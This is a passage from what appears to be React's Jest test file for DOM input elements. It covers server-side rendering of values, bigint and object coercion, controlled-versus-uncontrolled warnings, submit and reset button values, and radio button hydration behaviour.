uncontrolled input element for the lifetime of the component. ' +\n        'More info: https://react.dev/link/controlled-components\\n' +\n        '    in input (at **)',\n    ]);\n    expect(node.value).toBe('0');\n    expect(isValueDirty(node)).toBe(true);\n  });\n\n  it('should render defaultValue for SSR', () => {\n    const markup = ReactDOMServer.renderToString(\n      <input type=\"text\" defaultValue=\"1\" />,\n    );\n    const div = document.createElement('div');\n    div.innerHTML = markup;\n    expect(div.firstChild.getAttribute('value')).toBe('1');\n    expect(div.firstChild.getAttribute('defaultValue')).toBe(null);\n  });\n\n  it('should render bigint defaultValue for SSR', () => {\n    const markup = ReactDOMServer.renderToString(\n      <input type=\"text\" defaultValue={5n} />,\n    );\n    const div = document.createElement('div');\n    div.innerHTML = markup;\n    expect(div.firstChild.getAttribute('value')).toBe('5');\n    expect(div.firstChild.getAttribute('defaultValue')).toBe(null);\n  });\n\n  it('should render value for SSR', () => {\n    const element = <input type=\"text\" value=\"1\" onChange={() => {}} />;\n    const markup = ReactDOMServer.renderToString(element);\n    const div = document.createElement('div');\n    div.innerHTML = markup;\n    expect(div.firstChild.getAttribute('value')).toBe('1');\n    expect(div.firstChild.getAttribute('defaultValue')).toBe(null);\n  });\n\n  it('should render bigint value for SSR', () => {\n    const element = <input type=\"text\" value={5n} onChange={() => {}} />;\n    const markup = ReactDOMServer.renderToString(element);\n    const div = document.createElement('div');\n    div.innerHTML = markup;\n    expect(div.firstChild.getAttribute('value')).toBe('5');\n    expect(div.firstChild.getAttribute('defaultValue')).toBe(null);\n  });\n\n  it('should render name attribute if it is supplied', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" name=\"name\" />);\n    });\n    const node = container.firstChild;\n    expect(node.name).toBe('name');\n    expect(container.firstChild.getAttribute('name')).toBe('name');\n  });\n\n  it('should render name attribute if it is supplied for SSR', () => {\n    const element = <input type=\"text\" name=\"name\" />;\n    const markup = ReactDOMServer.renderToString(element);\n    const div = document.createElement('div');\n    div.innerHTML = markup;\n    expect(div.firstChild.getAttribute('name')).toBe('name');\n  });\n\n  it('should not render name attribute if it is not supplied', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" />);\n    });\n    expect(container.firstChild.getAttribute('name')).toBe(null);\n  });\n\n  it('should not render name attribute if it is not supplied for SSR', () => {\n    const element = <input type=\"text\" />;\n    const markup = ReactDOMServer.renderToString(element);\n    const div = document.createElement('div');\n    div.innerHTML = markup;\n    expect(div.firstChild.getAttribute('name')).toBe(null);\n  });\n\n  it('should display \"foobar\" for `defaultValue` of `objToString`', async () => {\n    const objToString = {\n      toString: function () {\n        return 'foobar';\n      },\n    };\n\n    const stub = <input type=\"text\" defaultValue={objToString} />;\n    await act(() => {\n      root.render(stub);\n    });\n    const node = container.firstChild;\n\n    expect(node.value).toBe('foobar');\n  });\n\n  it('should throw for date inputs if `defaultValue` is an object where valueOf() throws', async () => {\n    class TemporalLike {\n      valueOf() {\n        // Throwing here is the behavior of ECMAScript \"Temporal\" date/time API.\n        // See https://tc39.es/proposal-temporal/docs/plaindate.html#valueOf\n        throw new TypeError('prod message');\n      }\n      toString() {\n        return '2020-01-01';\n      }\n    }\n    await expect(async () => {\n      await act(() => {\n        root.render(<input defaultValue={new TemporalLike()} type=\"date\" />);\n      });\n    }).rejects.toThrowError(new TypeError('prod message'));\n    assertConsoleErrorDev([\n      'Form field values (value, checked, defaultValue, or defaultChecked props) must be ' +\n        'strings, not TemporalLike. This value must be coerced to a string before using it here.\\n' +\n        '    in input (at **)',\n      'Form field values (value, checked, defaultValue, or defaultChecked props) must be ' +\n        'strings, not TemporalLike. This value must be coerced to a string before using it here.\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should throw for text inputs if `defaultValue` is an object where valueOf() throws', async () => {\n    class TemporalLike {\n      valueOf() {\n        // Throwing here is the behavior of ECMAScript \"Temporal\" date/time API.\n        // See https://tc39.es/proposal-temporal/docs/plaindate.html#valueOf\n        throw new TypeError('prod message');\n      }\n      toString() {\n        return '2020-01-01';\n      }\n    }\n    await expect(async () => {\n      await act(() => {\n        root.render(<input defaultValue={new TemporalLike()} type=\"text\" />);\n      });\n    }).rejects.toThrowError(new TypeError('prod message'));\n    assertConsoleErrorDev([\n      'Form field values (value, checked, defaultValue, or defaultChecked props) must be ' +\n        'strings, not TemporalLike. This value must be coerced to a string before using it here.\\n' +\n        '    in input (at **)',\n      'Form field values (value, checked, defaultValue, or defaultChecked props) must be ' +\n        'strings, not TemporalLike. This value must be coerced to a string before using it here.\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should throw for date inputs if `value` is an object where valueOf() throws', async () => {\n    class TemporalLike {\n      valueOf() {\n        // Throwing here is the behavior of ECMAScript \"Temporal\" date/time API.\n        // See https://tc39.es/proposal-temporal/docs/plaindate.html#valueOf\n        throw new TypeError('prod message');\n      }\n      toString() {\n        return '2020-01-01';\n      }\n    }\n    await expect(async () => {\n      await act(() => {\n        root.render(\n          <input value={new TemporalLike()} type=\"date\" onChange={() => {}} />,\n        );\n      });\n    }).rejects.toThrowError(new TypeError('prod message'));\n    assertConsoleErrorDev([\n      'Form field values (value, checked, defaultValue, or defaultChecked props) must be ' +\n        'strings, not TemporalLike. This value must be coerced to a string before using it here.\\n' +\n        '    in input (at **)',\n      'Form field values (value, checked, defaultValue, or defaultChecked props) must be ' +\n        'strings, not TemporalLike. This value must be coerced to a string before using it here.\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should throw for text inputs if `value` is an object where valueOf() throws', async () => {\n    class TemporalLike {\n      valueOf() {\n        // Throwing here is the behavior of ECMAScript \"Temporal\" date/time API.\n        // See https://tc39.es/proposal-temporal/docs/plaindate.html#valueOf\n        throw new TypeError('prod message');\n      }\n      toString() {\n        return '2020-01-01';\n      }\n    }\n    await expect(async () => {\n      await act(() => {\n        root.render(\n          <input value={new TemporalLike()} type=\"text\" onChange={() => {}} />,\n        );\n      });\n    }).rejects.toThrowError(new TypeError('prod message'));\n    assertConsoleErrorDev([\n      'Form field values (value, checked, defaultValue, or defaultChecked props) must be ' +\n        'strings, not TemporalLike. This value must be coerced to a string before using it here.\\n' +\n        '    in input (at **)',\n      'Form field values (value, checked, defaultValue, or defaultChecked props) must be ' +\n        'strings, not TemporalLike. This value must be coerced to a string before using it here.\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should display `value` of number 0', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" value={0} onChange={emptyFunction} />);\n    });\n    const node = container.firstChild;\n\n    expect(node.value).toBe('0');\n  });\n\n  it('should display `value` of bigint 5', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" value={5n} onChange={emptyFunction} />);\n    });\n    const node = container.firstChild;\n\n    expect(node.value).toBe('5');\n  });\n\n  it('should allow setting `value` to `true`', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" value=\"yolo\" onChange={emptyFunction} />);\n    });\n    const node = container.firstChild;\n\n    expect(node.value).toBe('yolo');\n\n    await act(() => {\n      root.render(<input type=\"text\" value={true} onChange={emptyFunction} />);\n    });\n    expect(node.value).toEqual('true');\n  });\n\n  it('should allow setting `value` to `false`', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" value=\"yolo\" onChange={emptyFunction} />);\n    });\n    const node = container.firstChild;\n\n    expect(node.value).toBe('yolo');\n\n    await act(() => {\n      root.render(<input type=\"text\" value={false} onChange={emptyFunction} />);\n    });\n    expect(node.value).toEqual('false');\n  });\n\n  it('should allow setting `value` to `objToString`', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" value=\"foo\" onChange={emptyFunction} />);\n    });\n    const node = container.firstChild;\n\n    expect(node.value).toBe('foo');\n\n    const objToString = {\n      toString: function () {\n        return 'foobar';\n      },\n    };\n    await act(() => {\n      root.render(\n        <input type=\"text\" value={objToString} onChange={emptyFunction} />,\n      );\n    });\n    expect(node.value).toEqual('foobar');\n  });\n\n  it('should not incur unnecessary DOM mutations', async () => {\n    await act(() => {\n      root.render(<input value=\"a\" onChange={() => {}} />);\n    });\n\n    const node = container.firstChild;\n    let nodeValue = 'a';\n    const nodeValueSetter = jest.fn();\n    Object.defineProperty(node, 'value', {\n      get: function () {\n        return nodeValue;\n      },\n      set: nodeValueSetter.mockImplementation(function (newValue) {\n        nodeValue = newValue;\n      }),\n    });\n\n    await act(() => {\n      root.render(<input value=\"a\" onChange={() => {}} />);\n    });\n    expect(nodeValueSetter).toHaveBeenCalledTimes(0);\n\n    await act(() => {\n      root.render(<input value=\"b\" onChange={() => {}} />);\n    });\n    expect(nodeValueSetter).toHaveBeenCalledTimes(1);\n  });\n\n  it('should not incur unnecessary DOM mutations for numeric type conversion', async () => {\n    await act(() => {\n      root.render(<input value=\"0\" onChange={() => {}} />);\n    });\n\n    const node = container.firstChild;\n    let nodeValue = '0';\n    const nodeValueSetter = jest.fn();\n    Object.defineProperty(node, 'value', {\n      get: function () {\n        return nodeValue;\n      },\n      set: nodeValueSetter.mockImplementation(function (newValue) {\n        nodeValue = newValue;\n      }),\n    });\n\n    await act(() => {\n      root.render(<input value={0} onChange={() => {}} />);\n    });\n    expect(nodeValueSetter).toHaveBeenCalledTimes(0);\n  });\n\n  it('should not incur unnecessary DOM mutations for the boolean type conversion', async () => {\n    await act(() => {\n      root.render(<input value=\"true\" onChange={() => {}} />);\n    });\n\n    const node = container.firstChild;\n    let nodeValue = 'true';\n    const nodeValueSetter = jest.fn();\n    Object.defineProperty(node, 'value', {\n      get: function () {\n        return nodeValue;\n      },\n      set: nodeValueSetter.mockImplementation(function (newValue) {\n        nodeValue = newValue;\n      }),\n    });\n\n    await act(() => {\n      root.render(<input value={true} onChange={() => {}} />);\n    });\n    expect(nodeValueSetter).toHaveBeenCalledTimes(0);\n  });\n\n  it('should properly control a value of number `0`', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" value={0} onChange={emptyFunction} />);\n    });\n    const node = container.firstChild;\n\n    setUntrackedValue.call(node, 'giraffe');\n    dispatchEventOnNode(node, 'input');\n    expect(node.value).toBe('0');\n  });\n\n  it('should properly control 0.0 for a text input', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" value={0} onChange={emptyFunction} />);\n    });\n    const node = container.firstChild;\n\n    setUntrackedValue.call(node, '0.0');\n    await act(() => {\n      dispatchEventOnNode(node, 'input');\n    });\n    expect(node.value).toBe('0');\n  });\n\n  it('should properly control 0.0 for a number input', async () => {\n    await act(() => {\n      root.render(<input type=\"number\" value={0} onChange={emptyFunction} />);\n    });\n    const node = container.firstChild;\n\n    setUntrackedValue.call(node, '0.0');\n    await act(() => {\n      dispatchEventOnNode(node, 'input');\n    });\n\n    if (disableInputAttributeSyncing) {\n      expect(node.value).toBe('0.0');\n      expect(node.hasAttribute('value')).toBe(false);\n    } else {\n      dispatchEventOnNode(node, 'blur');\n      dispatchEventOnNode(node, 'focusout');\n\n      expect(node.value).toBe('0.0');\n      expect(node.getAttribute('value')).toBe('0.0');\n    }\n  });\n\n  it('should properly transition from an empty value to 0', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" value=\"\" onChange={emptyFunction} />);\n    });\n    const node = container.firstChild;\n    expect(isValueDirty(node)).toBe(false);\n\n    await act(() => {\n      root.render(<input type=\"text\" value={0} onChange={emptyFunction} />);\n    });\n\n    expect(node.value).toBe('0');\n    expect(isValueDirty(node)).toBe(true);\n\n    if (disableInputAttributeSyncing) {\n      expect(node.hasAttribute('value')).toBe(false);\n    } else {\n      expect(node.defaultValue).toBe('0');\n    }\n  });\n\n  it('should properly transition from 0 to an empty value', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" value={0} onChange={emptyFunction} />);\n    });\n    const node = container.firstChild;\n    expect(isValueDirty(node)).toBe(true);\n\n    await act(() => {\n      root.render(<input type=\"text\" value=\"\" onChange={emptyFunction} />);\n    });\n\n    expect(node.value).toBe('');\n    expect(node.defaultValue).toBe('');\n    expect(isValueDirty(node)).toBe(true);\n  });\n\n  it('should properly transition a text input from 0 to an empty 0.0', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" value={0} onChange={emptyFunction} />);\n    });\n    await act(() => {\n      root.render(<input type=\"text\" value=\"0.0\" onChange={emptyFunction} />);\n    });\n\n    const node = container.firstChild;\n\n    expect(node.value).toBe('0.0');\n    if (disableInputAttributeSyncing) {\n      expect(node.hasAttribute('value')).toBe(false);\n    } else {\n      expect(node.defaultValue).toBe('0.0');\n    }\n  });\n\n  it('should properly transition a number input from \"\" to 0', async () => {\n    await act(() => {\n      root.render(<input type=\"number\" value=\"\" onChange={emptyFunction} />);\n    });\n    await act(() => {\n      root.render(<input type=\"number\" value={0} onChange={emptyFunction} />);\n    });\n\n    const node = container.firstChild;\n\n    expect(node.value).toBe('0');\n    if (disableInputAttributeSyncing) {\n      expect(node.hasAttribute('value')).toBe(false);\n    } else {\n      expect(node.defaultValue).toBe('0');\n    }\n  });\n\n  it('should properly transition a number input from \"\" to \"0\"', async () => {\n    await act(() => {\n      root.render(<input type=\"number\" value=\"\" onChange={emptyFunction} />);\n    });\n    await act(() => {\n      root.render(<input type=\"number\" value=\"0\" onChange={emptyFunction} />);\n    });\n\n    const node = container.firstChild;\n\n    expect(node.value).toBe('0');\n    if (disableInputAttributeSyncing) {\n      expect(node.hasAttribute('value')).toBe(false);\n    } else {\n      expect(node.defaultValue).toBe('0');\n    }\n  });\n\n  it('should have the correct target value', async () => {\n    let handled = false;\n    const handler = function (event) {\n      expect(event.target.nodeName).toBe('INPUT');\n      handled = true;\n    };\n    await act(() => {\n      root.render(<input type=\"text\" value={0} onChange={handler} />);\n    });\n    const node = container.firstChild;\n\n    setUntrackedValue.call(node, 'giraffe');\n\n    await act(() => {\n      dispatchEventOnNode(node, 'input');\n    });\n\n    expect(handled).toBe(true);\n  });\n\n  it('should restore uncontrolled inputs to last defaultValue upon reset', async () => {\n    const inputRef = React.createRef();\n    await act(() => {\n      root.render(\n        <form>\n          <input defaultValue=\"default1\" ref={inputRef} />\n          <input type=\"reset\" />\n        </form>,\n      );\n    });\n    expect(inputRef.current.value).toBe('default1');\n    if (disableInputAttributeSyncing) {\n      expect(isValueDirty(inputRef.current)).toBe(false);\n    } else {\n      expect(isValueDirty(inputRef.current)).toBe(true);\n    }\n\n    setUntrackedValue.call(inputRef.current, 'changed');\n    dispatchEventOnNode(inputRef.current, 'input');\n    expect(inputRef.current.value).toBe('changed');\n    expect(isValueDirty(inputRef.current)).toBe(true);\n\n    await act(() => {\n      root.render(\n        <form>\n          <input defaultValue=\"default2\" ref={inputRef} />\n          <input type=\"reset\" />\n        </form>,\n      );\n    });\n    expect(inputRef.current.value).toBe('changed');\n    expect(isValueDirty(inputRef.current)).toBe(true);\n\n    container.firstChild.reset();\n    // Note: I don't know if we want to always support this.\n    // But it's current behavior so worth being intentional if we break it.\n    // https://github.com/facebook/react/issues/4618\n    expect(inputRef.current.value).toBe('default2');\n    expect(isValueDirty(inputRef.current)).toBe(false);\n  });\n\n  it('should not set a value for submit buttons unnecessarily', async () => {\n    const stub = <input type=\"submit\" />;\n    await act(() => {\n      root.render(stub);\n    });\n    const node = container.firstChild;\n\n    // The value shouldn't be '', or else the button will have no text; it\n    // should have the default \"Submit\" or \"Submit Query\" label. Most browsers\n    // report this as not having a `value` attribute at all; IE reports it as\n    // the actual label that the user sees.\n    expect(node.hasAttribute('value')).toBe(false);\n  });\n\n  it('should remove the value attribute on submit inputs when value is updated to undefined', async () => {\n    const stub = <input type=\"submit\" value=\"foo\" onChange={emptyFunction} />;\n    await act(() => {\n      root.render(stub);\n    });\n\n    // Not really relevant to this particular test, but changing to undefined\n    // should nonetheless trigger a warning\n    await act(() => {\n      root.render(\n        <input type=\"submit\" value={undefined} onChange={emptyFunction} />,\n      );\n    });\n    assertConsoleErrorDev([\n      'A component is changing a controlled input to be uncontrolled. ' +\n        'This is likely caused by the value changing from a defined to undefined, which should not happen. ' +\n        'Decide between using a controlled or uncontrolled input element for the lifetime of the component. ' +\n        'More info: https://react.dev/link/controlled-components\\n' +\n        '    in input (at **)',\n    ]);\n\n    const node = container.firstChild;\n    expect(node.getAttribute('value')).toBe(null);\n  });\n\n  it('should remove the value attribute on reset inputs when value is updated to undefined', async () => {\n    const stub = <input type=\"reset\" value=\"foo\" onChange={emptyFunction} />;\n    await act(() => {\n      root.render(stub);\n    });\n\n    // Not really relevant to this particular test, but changing to undefined\n    // should nonetheless trigger a warning\n    await act(() => {\n      root.render(\n        <input type=\"reset\" value={undefined} onChange={emptyFunction} />,\n      );\n    });\n    assertConsoleErrorDev([\n      'A component is changing a controlled input to be uncontrolled. ' +\n        'This is likely caused by the value changing from a defined to undefined, which should not happen. ' +\n        'Decide between using a controlled or uncontrolled input element for the lifetime of the component. ' +\n        'More info: https://react.dev/link/controlled-components\\n' +\n        '    in input (at **)',\n    ]);\n\n    const node = container.firstChild;\n    expect(node.getAttribute('value')).toBe(null);\n  });\n\n  it('should set a value on a submit input', async () => {\n    const stub = <input type=\"submit\" value=\"banana\" />;\n    await act(() => {\n      root.render(stub);\n    });\n    const node = container.firstChild;\n\n    expect(node.getAttribute('value')).toBe('banana');\n  });\n\n  it('should not set an undefined value on a submit input', async () => {\n    const stub = <input type=\"submit\" value={undefined} />;\n    await act(() => {\n      root.render(stub);\n    });\n    const node = container.firstChild;\n\n    // Note: it shouldn't be an empty string\n    // because that would erase the \"submit\" label.\n    expect(node.getAttribute('value')).toBe(null);\n\n    await act(() => {\n      root.render(stub);\n    });\n    expect(node.getAttribute('value')).toBe(null);\n  });\n\n  it('should not set an undefined value on a reset input', async () => {\n    const stub = <input type=\"reset\" value={undefined} />;\n    await act(() => {\n      root.render(stub);\n    });\n    const node = container.firstChild;\n\n    // Note: it shouldn't be an empty string\n    // because that would erase the \"reset\" label.\n    expect(node.getAttribute('value')).toBe(null);\n\n    await act(() => {\n      root.render(stub);\n    });\n    expect(node.getAttribute('value')).toBe(null);\n  });\n\n  it('should not set a null value on a submit input', async () => {\n    const stub = <input type=\"submit\" value={null} />;\n    await act(() => {\n      root.render(stub);\n    });\n    assertConsoleErrorDev([\n      '`value` prop on `input` should not be null. ' +\n        'Consider using an empty string to clear the component or `undefined` for uncontrolled components.\\n' +\n        '    in input (at **)',\n    ]);\n    const node = container.firstChild;\n\n    // Note: it shouldn't be an empty string\n    // because that would erase the \"submit\" label.\n    expect(node.getAttribute('value')).toBe(null);\n\n    await act(() => {\n      root.render(stub);\n    });\n    expect(node.getAttribute('value')).toBe(null);\n  });\n\n  it('should not set a null value on a reset input', async () => {\n    const stub = <input type=\"reset\" value={null} />;\n    await act(() => {\n      root.render(stub);\n    });\n    assertConsoleErrorDev([\n      '`value` prop on `input` should not be null. ' +\n        'Consider using an empty string to clear the component or `undefined` for uncontrolled components.\\n' +\n        '    in input (at **)',\n    ]);\n    const node = container.firstChild;\n\n    // Note: it shouldn't be an empty string\n    // because that would erase the \"reset\" label.\n    expect(node.getAttribute('value')).toBe(null);\n\n    await act(() => {\n      root.render(stub);\n    });\n    expect(node.getAttribute('value')).toBe(null);\n  });\n\n  it('should set a value on a reset input', async () => {\n    const stub = <input type=\"reset\" value=\"banana\" />;\n    await act(() => {\n      root.render(stub);\n    });\n    const node = container.firstChild;\n\n    expect(node.getAttribute('value')).toBe('banana');\n  });\n\n  it('should set an empty string value on a submit input', async () => {\n    const stub = <input type=\"submit\" value=\"\" />;\n    await act(() => {\n      root.render(stub);\n    });\n    const node = container.firstChild;\n\n    expect(node.getAttribute('value')).toBe('');\n  });\n\n  it('should set an empty string value on a reset input', async () => {\n    const stub = <input type=\"reset\" value=\"\" />;\n    await act(() => {\n      root.render(stub);\n    });\n    const node = container.firstChild;\n\n    expect(node.getAttribute('value')).toBe('');\n  });\n\n  it('should control radio buttons', async () => {\n    class RadioGroup extends React.Component {\n      aRef = React.createRef();\n      bRef = React.createRef();\n      cRef = React.createRef();\n\n      render() {\n        return (\n          <div>\n            <input\n              ref={this.aRef}\n              type=\"radio\"\n              name=\"fruit\"\n              checked={true}\n              onChange={emptyFunction}\n              data-which=\"a\"\n            />\n            A\n            <input\n              ref={this.bRef}\n              type=\"radio\"\n              name=\"fruit\"\n              onChange={emptyFunction}\n              data-which=\"b\"\n            />\n            B\n            <form>\n              <input\n                ref={this.cRef}\n                type=\"radio\"\n                name=\"fruit\"\n                defaultChecked={true}\n                onChange={emptyFunction}\n                data-which=\"c\"\n              />\n            </form>\n          </div>\n        );\n      }\n    }\n\n    const ref = React.createRef();\n    await act(() => {\n      root.render(<RadioGroup ref={ref} />);\n    });\n    const stub = ref.current;\n    const aNode = stub.aRef.current;\n    const bNode = stub.bRef.current;\n    const cNode = stub.cRef.current;\n\n    expect(aNode.checked).toBe(true);\n    expect(bNode.checked).toBe(false);\n    // c is in a separate form and shouldn't be affected at all here\n    expect(cNode.checked).toBe(true);\n\n    if (disableInputAttributeSyncing) {\n      expect(aNode.hasAttribute('checked')).toBe(false);\n      expect(bNode.hasAttribute('checked')).toBe(false);\n      expect(cNode.hasAttribute('checked')).toBe(true);\n    } else {\n      expect(aNode.hasAttribute('checked')).toBe(true);\n      expect(bNode.hasAttribute('checked')).toBe(false);\n      expect(cNode.hasAttribute('checked')).toBe(true);\n    }\n\n    expect(isCheckedDirty(aNode)).toBe(true);\n    expect(isCheckedDirty(bNode)).toBe(true);\n    expect(isCheckedDirty(cNode)).toBe(true);\n    assertInputTrackingIsCurrent(container);\n\n    setUntrackedChecked.call(bNode, true);\n    expect(aNode.checked).toBe(false);\n    expect(cNode.checked).toBe(true);\n\n    // The original 'checked' attribute should be unchanged\n    if (disableInputAttributeSyncing) {\n      expect(aNode.hasAttribute('checked')).toBe(false);\n      expect(bNode.hasAttribute('checked')).toBe(false);\n      expect(cNode.hasAttribute('checked')).toBe(true);\n    } else {\n      expect(aNode.hasAttribute('checked')).toBe(true);\n      expect(bNode.hasAttribute('checked')).toBe(false);\n      expect(cNode.hasAttribute('checked')).toBe(true);\n    }\n\n    // Now let's run the actual ReactDOMInput change event handler\n    await act(() => {\n      dispatchEventOnNode(bNode, 'click');\n    });\n\n    // The original state should have been restored\n    expect(aNode.checked).toBe(true);\n    expect(cNode.checked).toBe(true);\n\n    expect(isCheckedDirty(aNode)).toBe(true);\n    expect(isCheckedDirty(bNode)).toBe(true);\n    expect(isCheckedDirty(cNode)).toBe(true);\n    assertInputTrackingIsCurrent(container);\n  });\n\n  it('should hydrate controlled radio buttons', async () => {\n    function App() {\n      const [current, setCurrent] = React.useState('a');\n      return (\n        <>\n          <input\n            type=\"radio\"\n            name=\"fruit\"\n            checked={current === 'a'}\n            onChange={() => {\n              Scheduler.log('click a');\n              setCurrent('a');\n            }}\n          />\n          <input\n            type=\"radio\"\n            name=\"fruit\"\n            checked={current === 'b'}\n            onChange={() => {\n              Scheduler.log('click b');\n              setCurrent('b');\n            }}\n          />\n          <input\n            type=\"radio\"\n            name=\"fruit\"\n            checked={current === 'c'}\n            onChange={() => {\n              Scheduler.log('click c');\n              // Let's say the user can't pick C\n            }}\n          />\n        </>\n      );\n    }\n    const html = ReactDOMServer.renderToString(<App />);\n    // Create a fresh container, not attached a root yet\n    container.remove();\n    container = document.createElement('div');\n    document.body.appendChild(container);\n    container.innerHTML = html;\n    const [a, b, c] = container.querySelectorAll('input');\n    expect(a.checked).toBe(true);\n    expect(b.checked).toBe(false);\n    expect(c.checked).toBe(false);\n    expect(isCheckedDirty(a)).toBe(false);\n    expect(isCheckedDirty(b)).toBe(false);\n    expect(isCheckedDirty(c)).toBe(false);\n\n    // Click on B before hydrating\n    b.checked = true;\n    expect(isCheckedDirty(a)).toBe(true);\n    expect(isCheckedDirty(b)).toBe(true);\n    expect(isCheckedDirty(c)).toBe(false);\n\n    await act(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n\n    if (gate(flags => flags.enableHydrationChangeEvent)) {\n      // We replayed the click since the value changed before hydration.\n      assertLog(['click b']);\n    } else {\n      assertLog([]);\n      // Strangely, we leave `b` checked even though we rendered A with\n      // checked={true} and B with checked={false}. Arguably this is a bug.\n    }\n    expect(a.checked).toBe(false);\n    expect(b.checked).toBe(true);\n    expect(c.checked).toBe(false);\n    expect(isCheckedDirty(a)).toBe(true);\n    expect(isCheckedDirty(b)).toBe(true);\n    expect(isCheckedDirty(c)).toBe(true);\n    assertInputTrackingIsCurrent(container);\n\n    // If we click on C now though...\n    await act(async () => {\n      setUntrackedChecked.call(c, true);\n      dispatchEventOnNode(c, 'click');\n    });\n\n    assertLog(['click c']);\n    if (gate(flags => flags.enableHydrationChangeEvent)) {\n      // then since C's onClick doesn't set state, B becomes rechecked.\n      expect(a.checked).toBe(false);\n      expect(b.checked).toBe(true);\n      expect(c.checked).toBe(false);\n    } else {\n      // then since C's onClick doesn't set state, A becomes rechecked\n      // since in this branch we didn't replay to select B.\n      expect(a.checked).toBe(true);\n      expect(b.checked).toBe(false);\n      expect(c.checked).toBe(false);\n    }\n    expect(isCheckedDirty(a)).toBe(true);\n    expect(isCheckedDirty(b)).toBe(true);\n    expect(isCheckedDirty(c)).toBe(true);\n    assertInputTrackingIsCurrent(container);\n\n    await act(async () => {\n      setUntrackedChecked.call(b, true);\n      dispatchEventOnNode(b, 'click');\n    });\n    if (gate(flags => flags.enableHydrationChangeEvent)) {\n      // Since we already had this selected, this doesn't trigger a change again.\n      assertLog([]);\n    } else {\n      // And we can also change to B properly after hydration.\n      assertLog(['click b']);\n    }\n    expect(a.checked).toBe(false);\n    expect(b.checked).toBe(true);\n    expect(c.checked).toBe(false);\n    expect(isCheckedDirty(a)).toBe(true);\n    expect(isCheckedDirty(b)).toBe(true);\n    expect(isCheckedDirty(c)).toBe(true);\n    assertInputTrackingIsCurrent(container);\n  });\n\n  it('should hydrate uncontrolled radio buttons', async () => {\n    function App() {\n      return (\n        <>\n          <input\n            type=\"radio\"\n            name=\"fruit\"\n            defaultChecked={true}\n            onChange={() => Scheduler.log('click a')}\n          />\n          <input\n            type=\"radio\"\n            name=\"fruit\"\n            defaultChecked={false}\n            onChange={() => Scheduler.log('click b')}\n          />\n          <input\n            type=\"radio\"\n            name=\"fruit\"\n            defaultChecked={false}\n            onChange={() => Scheduler.log('click c')}\n          />\n        </>\n      );\n    }\n    const html = ReactDOMServer.renderToString(<App />);\n    // Create a fresh container, not attached a root yet\n    container.remove();\n    container = document.createElement('div');\n    document.body.appendChild(container);\n    container.innerHTML = html;\n    const [a, b, c] = container.querySelectorAll('input');\n    expect(a.checked).toBe(true);\n    expect(b.checked).toBe(false);\n    expect(c.checked).toBe(false);\n    expect(isCheckedDirty(a)).toBe(false);\n    expect(isCheckedDirty(b)).toBe(false);\n    expect(isCheckedDirty(c)).toBe(false);\n\n    // Click on B before hydrating\n    b.checked = true;\n    expect(isCheckedDirty(a)).toBe(true);\n    expect(isCheckedDirty(b)).toBe(true);\n    expect(isCheckedDirty(c)).toBe(false);\n\n    await act(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n\n    if (gate(flags => flags.enableHydrationChangeEvent)) {\n      // We replayed the click since the value changed before hydration.\n      assertLog(['click b']);\n    } else {\n      assertLog([]);\n    }\n    expect(a.checked).toBe(false);\n    expect(b.checked).toBe(true);\n    expect(c.checked).toBe(false);\n    expect(isCheckedDirty(a)).toBe(true);\n    expect(isCheckedDirty(b)).toBe(true);\n    expect(isCheckedDirty(c)).toBe(true);\n    assertInputTrackingIsCurrent(container);\n\n    // Click back to A\n    await act(async () => {\n      setUntrackedChecked.call(a, true);\n      dispatchEventOnNode(a, 'click');\n    });\n\n    assertLog(['click a']);\n    expect(a.checked).toBe(true);\n    expect(b.checked).toBe(false);\n    expect(c.checked).toBe(false);\n    expect(isCheckedDirty(a)).toBe(true);\n    expect(isCheckedDirty(b)).toBe(true);\n    expect(isCheckedDirty(c)).toBe(true);\n    assertInputTrackingIsCurrent(container);\n  });\n\n  it('should check the correct radio when the selected name moves', async () => {\n    class App extends React.Component {\n      state = {\n        updated: false,\n      };\n      onClick = () => {\n        this.setState({updated: !this.state.updated});\n      };\n      render() {\n        const {updated} = this.state;\n        const radioName = updated ? 'secondName' : 'firstName';\n        return (\n          <div>\n            <button type=\"button\" onClick={this.onClick} />\n            <input\n              type=\"radio\"\n              name={radioName}\n              onChange={emptyFunction}\n              checked={updated === true}\n            />\n            <input\n              type=\"radio\"\n              name={radioName}\n              onChange={emptyFunction}\n              checked={updated === false}\n            />\n          </div>\n        );\n      }\n    }\n\n    await act(() => {\n      root.render(<App />);\n    });\n    const node = container.firstChild;\n    const buttonNode = node.childNodes[0];\n    const firstRadioNode = node.childNodes[1];\n    expect(isCheckedDirty(firstRadioNode)).toBe(true);\n    expect(firstRadioNode.checked).toBe(false);\n    assertInputTrackingIsCurrent(container);\n    await act(() => {\n      dispatchEventOnNode(buttonNode, 'click');\n    });\n    expect(firstRadioNode.checked).toBe(true);\n    assertInputTrackingIsCurrent(container);\n    await act(() => {\n      dispatchEventOnNode(buttonNode, 'click');\n    });\n    expect(firstRadioNode.checked).toBe(false);\n    assertInputTrackingIsCurrent(container);\n  });\n\n  it(\"shouldn't get tricked by changing radio names, part 2\", async () => {\n    await act(() => {\n      root.render(\n        <div>\n          <input\n            type=\"radio\"\n            name=\"a\"\n            value=\"1\"\n            checked={true}\n            onChange={() => {}}\n          />\n          <input\n            type=\"radio\"\n            name=\"a\"\n            value=\"2\"\n            checked={false}\n            onChange={() => {}}\n          />\n        </div>,\n      );\n    });\n    const one = container.querySelector('input[name=\"a\"][value=\"1\"]');\n    const two = container.querySelector('input[name=\"a\"][value=\"2\"]');\n    expect(one.checked).toBe(true);\n    expect(two.checked).toBe(false);\n    expect(isCheckedDirty(one)).toBe(true);\n    